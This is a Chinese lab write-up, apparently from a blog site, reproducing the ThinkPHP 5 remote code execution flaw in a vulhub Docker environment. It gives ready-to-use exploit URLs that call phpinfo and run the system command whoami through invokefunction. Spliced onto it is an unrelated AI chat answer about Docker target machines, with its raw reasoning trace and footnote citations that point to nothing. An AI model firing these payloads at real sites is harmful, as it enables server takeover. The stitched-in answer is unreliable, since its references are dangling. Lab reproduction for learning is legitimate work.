Thinkphp 5-rce 漏洞复现(vulhub)

文章讲述了ThinkPHP5中的控制器名处理问题,导致在默认情况下可执行任意方法,引发现远程命令执行漏洞。详细描述了复现漏洞的过程,包括使用phpinfo和file_put_contents等函数进行攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞原因:

ThinkPHP其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞

复现过程:

1.在虚拟机中拉去thinkphp 5-rce镜像

 2.访问本机地址

输出关于php的配置信息

index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

 执行命令 whoami

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

<think>好的,我现在需要回答用户关于Docker支持的靶机类型及配置方法的问题。首先,我得理解用户的需求。用户提到“靶机”,通常指的是用于安全测试、漏洞演练的环境,比如Vulhub这样的漏洞靶场。所以,用户可能想知道如何利用Docker来搭建不同类型的漏洞测试环境,以及具体的配置步骤。 接下来,我需要回忆一下Docker的相关知识。Docker本身是一个容器化平台,允许用户快速部署应用。而靶机类型可能包括各种预配置了漏洞的环境,比如Web应用漏洞、系统漏洞等。常见的项目有Vulhub、OWASP Juice Shop、Metasploitable等。这些项目通常提供Docker镜像,方便用户一键部署。 然后,配置方法方面,用户需要知道如何安装Docker,拉取镜像,运行容器,设置网络和持久化存储等。同时,可能还需要调整防火墙设置,确保容器可以访问。例如,参考用户提供的引用[4],提到了使用阿里云的镜像源安装Docker,这可能是在国内加速下载的方法。引用[2]提到了设置Docker自启动,这也是配置的一部分。 我还需要注意用户提到的引用内容,比如引用[3]中提到的Vulhub和Docker Desktop的配置问题,这可能涉及到在Windows环境下使用Docker时的防火墙设置。引用[1]和[2]涉及Docker版本查看和系统服务配置,这些都是基础步骤。 接下来,我需要组织信息,分步骤说明支持的靶机类型和配置方法。可能需要先介绍常见的靶机项目,然后详细步骤包括安装Docker、配置镜像加速、拉取靶机镜像、运行容器、访问靶机等。同时,要提醒用户注意安全,因为靶机通常包含漏洞,应在隔离环境中使用。 另外,用户可能遇到的问题,比如网络配置、持久化数据、多容器编排,这些也需要提及。例如,使用docker-compose来管理多个服务,或者设置网络模式让靶机与外部通信。 最后,生成相关问题,帮助用户深入理解,比如如何自定义靶机镜像、优化性能、安全隔离措施等。</think>### Docker支持的靶机类型及配置方法 Docker支持多种类型的靶机环境配置,主要用于安全测试、漏洞复现和攻防演练。以下是常见靶机类型及配置方法: --- #### 一、支持的靶机类型 1. **Web漏洞靶机** - **Vulhub**:提供多种Web漏洞环境(如ThinkPHP RCE、Jenkins RCE),使用Docker Compose一键部署[^3]。 - **OWASP Juice Shop**:模拟包含常见Web漏洞的在线商店,支持Docker镜像直接运行。 2. **系统漏洞靶机** - **Metasploitable**:预置SSH弱密码、FTP漏洞等系统级漏洞,镜像可通过Docker快速启动。 3. **CTF靶机** - **CTFd + 题目容器**:通过Docker部署CTFd平台,并绑定独立题目容器(如SQL注入、逆向工程环境)[^4]。 --- #### 二、基础配置方法 1. **安装Docker** - 使用阿里云镜像加速安装(适用于Linux): ```bash yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo yum install docker-ce systemctl start docker && systemctl enable docker # 设置自启动[^2] ``` - 验证版本:`docker --version`(如Docker 19.03.11)[^1]。 2. **拉取靶机镜像** - 例如部署Vulhub: ```bash git clone https://github.com/vulhub/vulhub.git cd vulhub/漏洞目录 && docker-compose up -d ``` 3. **访问靶机** - 查看容器IP及端口:`docker ps` - 通过浏览器访问`http://宿主机IP:映射端口`,需确保防火墙放行端口。 --- #### 三、高级配置技巧 1. **持久化存储** 使用`-v`挂载数据卷保存靶机状态: ```bash docker run -d -v /宿主机路径:/容器路径 镜像名 ``` 2. **网络隔离** 创建独立网络避免干扰: ```bash docker network create vuln-net docker run --network=vuln-net 镜像名 ``` 3. **多容器编排** 使用`docker-compose.yml`定义复杂环境(如数据库+Web应用): ```yaml version: '3' services: web: image: vulhub/tomcat:latest ports: ["8080:8080"] db: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD=123456 ``` --- #### 四、注意事项 - **安全性**:靶机环境需在隔离网络中使用,避免暴露到公网。 - **资源分配**:通过`--memory`和`--cpus`限制容器资源,防止占用过高。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值